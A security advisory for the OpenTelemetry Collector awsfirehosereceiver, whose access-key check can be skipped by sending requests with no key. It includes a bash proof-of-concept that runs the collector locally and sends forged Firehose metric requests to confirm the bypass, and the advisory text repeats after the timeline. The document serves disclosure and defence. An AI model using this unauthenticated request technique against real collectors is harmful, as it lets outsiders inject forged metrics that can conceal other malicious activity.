Summary
OpenTelemetry Collector module awsfirehosereceiver allows unauthenticated remote requests, even when configured to require a key.
OpenTelemetry Collector can be configured to receive CloudWatch metrics via an AWS Firehose Stream. Firehose sets the header X-Amz-Firehose-Access-Key with an arbitrary configured string. The OpenTelemetry Collector awsfirehosereceiver can optionally be configured to require this key on incoming requests. However, when this is configured it still accepts incoming requests with no key.
Severity
Moderate - There is a risk of unauthorized users writing metrics. Carefully crafted metrics could hide other malicious activity. There is no risk of exfiltrating data.
Proof of Concept
When simulating Firehose requests against vulnerable versions of the collector, we can see "UNAUTHORIZED METRICS" printed to the console via the debug exporter. Note this script doesn't run on older still-vulnerable versions that do not have the "debug" exporter.
#!/bin/bash
OTELCOL_VERSION=0.107.0
OTELCOL_BINARY="otelcol-contrib-${OTELCOL_VERSION}"
OTELCOL_PLATFORM="linux_amd64"
HOST_PORT=8081
cat > config.yaml << END
# https://opentelemetry.io/docs/collector/configuration/
exporters:
debug:
verbosity: normal
receivers:
awsfirehose:
endpoint : "127.0.0.1:${HOST_PORT}"
record_type : "cwmetrics"
access_key : "1234"
service:
pipelines:
metrics:
receivers:
- awsfirehose
exporters:
- debug
telemetry:
logs:
encoding: "json"
level: "debug"
END
if [ ! -x "${OTELCOL_BINARY}" ]; then
curl --proto '=https' --tlsv1.2 -fOL https://github.com/open-telemetry/opentelemetry-collector-releases/releases/download/v${OTELCOL_VERSION}/otelcol-contrib_${OTELCOL_VERSION}_${OTELCOL_PLATFORM}.tar.gz
tar -xvf otelcol-contrib_${OTELCOL_VERSION}_${OTELCOL_PLATFORM}.tar.gz otelcol-contrib
mv otelcol-contrib ${OTELCOL_BINARY}
fi
"./${OTELCOL_BINARY}" --config=config.yaml &
OTELCOL_PID=$!
echo "Running OTel Collector with PID ${OTELCOL_PID}"
sleep 3
# Send metrics with correct access key
if ! curl --fail \
-H "Content-Type: application/json"\
-H "X-Amz-Firehose-Request-Id: requestId-valid"\
-H "X-Amz-Firehose-Access-Key: 1234"\
--data '{"requestId":"requestId-valid","timestamp":1723704887152,"records":[{"data":"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJSZXF1ZXN0cyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjkuMCwiY291bnQiOjkuMH0sInVuaXQiOiJOb25lIn0="}]}'\
http://127.0.0.1:${HOST_PORT}
then
echo "Reqeust with valid access did not succeed"
kill ${OTELCOL_PID}
exit 1
fi
# Send metrics with incorrect access key
if curl --fail \
-H "Content-Type: application/json"\
-H "X-Amz-Firehose-Request-Id: requestId-invalid"\
-H "X-Amz-Firehose-Access-Key: 5678"\
--data '{"requestId":"requestId-invalid","timestamp":1723704887152,"records":[{"data":"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJVTkFVVEhPUklaRUQgTUVUUklDUyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjU2NzguMCwiY291bnQiOjU2NzguMH0sInVuaXQiOiJOb25lIn0="}]}'\
http://127.0.0.1:${HOST_PORT}
then
echo "Request succeeded with invalid access key"
kill ${OTELCOL_PID}
exit 1
fi
# Send unauthorized metrics without an access key
if curl --fail \
-H "Content-Type: application/json"\
-H "X-Amz-Firehose-Request-Id: requestId-unauthorized"\
--data '{"requestId":"requestId-unauthorized","timestamp":1723704887152,"records":[{"data":"eyJtZXRyaWNfc3RyZWFtX25hbWUiOiJ0ZXN0IiwiYWNjb3VudF9pZCI6IjEyMzQ1Njc4OSIsInJlZ2lvbiI6InVzLWVhc3QtMSIsIm5hbWVzcGFjZSI6IkFXUy9DbG91ZEZyb250IiwibWV0cmljX25hbWUiOiJVTkFVVEhPUklaRUQgTUVUUklDUyIsImRpbWVuc2lvbnMiOnsiRGlzdHJpYnV0aW9uSWQiOiJBQkNEIiwiUmVnaW9uIjoiR2xvYmFsIn0sInRpbWVzdGFtcCI6MTcyMzcwNDU0MDAwMCwidmFsdWUiOnsibWF4IjoxLjAsIm1pbiI6MS4wLCJzdW0iOjU2NzguMCwiY291bnQiOjU2NzguMH0sInVuaXQiOiJOb25lIn0="}]}'\
http://127.0.0.1:${HOST_PORT}
then
echo -e "\n*** Vulnerability present - request with no key succeeded ***\n"
else
echo "Not vulnerable - request with no key was denied."
kill ${OTELCOL_PID}
exit 1
fi
kill ${OTELCOL_PID}
Further Analysis
Vulnerable code:
https://github.com/open-telemetry/opentelemetry-collector-contrib/blob/v0.107.0/receiver/awsfirehosereceiver/receiver.go#L235
Timeline
Date reported: 08/20/2024
Date fixed: 08/28/2024
Date disclosed: 09/27/2024
Summary
OpenTelemetry Collector module awsfirehosereceiver allows unauthenticated remote requests, even when configured to require a key.
OpenTelemetry Collector can be configured to receive CloudWatch metrics via an AWS Firehose Stream. Firehose sets the header X-Amz-Firehose-Access-Key with an arbitrary configured string. The OpenTelemetry Collector awsfirehosereceiver can optionally be configured to require this key on incoming requests. However, when this is configured it still accepts incoming requests with no key.
Severity
Moderate - There is a risk of unauthorized users writing metrics. Carefully crafted metrics could hide other malicious activity. There is no risk of exfiltrating data.
Proof of Concept
When simulating Firehose requests against vulnerable versions of the collector, we can see "UNAUTHORIZED METRICS" printed to the console via the debug exporter. Note this script doesn't run on older still-vulnerable versions that do not have the "debug" exporter.
Further Analysis
Vulnerable code:
https://github.com/open-telemetry/opentelemetry-collector-contrib/blob/v0.107.0/receiver/awsfirehosereceiver/receiver.go#L235
Timeline
Date reported: 08/20/2024
Date fixed: 08/28/2024
Date disclosed: 09/27/2024